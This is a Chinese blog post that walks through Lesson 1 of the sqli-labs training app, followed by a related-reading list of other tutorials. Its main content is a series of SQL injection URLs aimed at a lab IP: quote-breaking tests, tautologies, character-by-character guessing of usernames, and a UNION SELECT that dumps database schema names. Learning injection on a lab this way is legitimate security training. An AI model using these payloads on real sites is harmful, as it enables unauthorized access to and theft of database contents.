sqli-labs lesson1字符型注入

r囧r小猫 2022-08-23 00:34 142阅读 0赞

1.注入测试

http://172.16.19.146:8080/sqli-labs-master/Less-1/?id=1'

![这里写图片描述][20160602154223328]

http://172.16.19.146:8080/sqli-labs-master/Less-1/?id=1' or '1'='1

![这里写图片描述][20160602154306279]

http://172.16.19.146:8080/sqli-labs-master/Less-1/?id=1' and '1'='2

![这里写图片描述][20160602154437201]  
数字型注入不能使用。考虑猜解,下面也有更好的方法

http://172.16.19.146:8080/sqli-labs-master/Less-1/?id=1' and (select * from Information_schema)>0 and ''='

![这里写图片描述][20160602154518145]  
猜出数据库  
爆出用户名

http://172.16.19.146:8080/sqli-labs-master/Less-1/?id=1' and (select count(*) from users where ascii(mid(username,1,1))=68) and ''='

方法2直接爆出

http://172.16.19.146:8080/sqli-labs-master/Less-1/?id=88888' union select 4,group_concat(schema_name),8 from information_schema.schemata -- and ''='

![这里写图片描述][20160602190219199]

余下步骤见lesson2

[20160602154223328]: /images/20220722/393cb0d933174d0a99f6d324550580b0.png
[20160602154306279]: /images/20220722/def236ec76944d36aeb5d2497ab162be.png
[20160602154437201]: /images/20220722/55809090055e4e1b8e3fe832be94b3f6.png
[20160602154518145]: /images/20220722/be7b719578f243dab429958578474a27.png
[20160602190219199]: /images/20220722/9d1386c678634e0bbbef75e5aaf3ae83.png

发表评论取消回复

表情：

评论列表（有 0 条评论，142人围观）

还没有评论，来说两句吧...

相关阅读

相关 php字符型和数字型的注入,如何判断是字符型注入还是整形注入

1、数字型注入当输入的参数为整形时，如果存在注入漏洞，可以认为是数字型注入。测试步骤： (1) 加单引号，URL：www.text.com/text.php?id=3

红太狼/ 2023年01月14日 09:59/ 0 赞/ 189 阅读

相关 golang的lesson 1-helloworld

直接上代码： package main import "fmt" func main() { fmt.Println(

谁借莪１个温暖的怀抱￠/ 2022年12月17日 05:18/ 0 赞/ 125 阅读

相关 git出现lesson_1_8|MERGING

我在分支lesson\_1\_8上面执行了git pull origin master 结果就发现有冲突。然后还出现了lesson\_1\_8|MERGING ![water

本是古典何须时尚/ 2022年12月01日 14:21/ 0 赞/ 114 阅读

相关整型转字符型

包含头文件： include <stdio.h> 函数体 int sprintf(char str, const char format, ...);

野性酷女/ 2022年10月16日 04:49/ 0 赞/ 199 阅读

相关 sqli-labs lesson1字符型注入

1.注入测试 http://172.16.19.146:8080/sqli-labs-master/Less-1/?id=1' ![这里写图片描述][2016060

r囧r小猫/ 2022年08月23日 00:34/ 0 赞/ 143 阅读

相关 lesson1

一、数据类型 1、常用四种数据类型：int、float、真值（True/False）、字符串 2、显示类型的函数：type() Eg.1 <table> <tbo

╰半夏微凉°/ 2022年08月21日 05:41/ 0 赞/ 175 阅读

相关 SQL注入系列之PHP+Mysql手动注入(二)----字符型

一、什么是字符型注入以及原理 1）字符型注入简介字符串或串(String)是由数字、字母、下划线组成的一串字符。一般记为 s=“a1 a2 ···an

约定不等于承诺〃/ 2022年07月10日 04:19/ 0 赞/ 160 阅读

相关 Lesson1.初识javascript

html、css和js的相互结合 Web开发者通常会使用三种语言来创建web页面：HTML、css、javascript。 HTML：内容层；定义了页面的结构和语义

骑猪看日落/ 2022年06月14日 02:13/ 0 赞/ 174 阅读

相关 Lesson1、C++基本语法

应部门领导要求，需要带两位同事学习C++，特准备下，将基础知识罗列了下，正好也借此机会自己也将基础知识再回顾回顾。 1、C++的输入和输出： (1)使用cin and co

￡神魔★判官ぃ/ 2022年04月15日 06:22/ 0 赞/ 285 阅读

相关 Lesson1 认识html

html中的标签 <!DOCTYPE> Docment Type HyperText Mark-up Language 文档类型超文本标记性语言。 html5的标准页面

水深无声/ 2021年09月29日 02:54/ 0 赞/ 360 阅读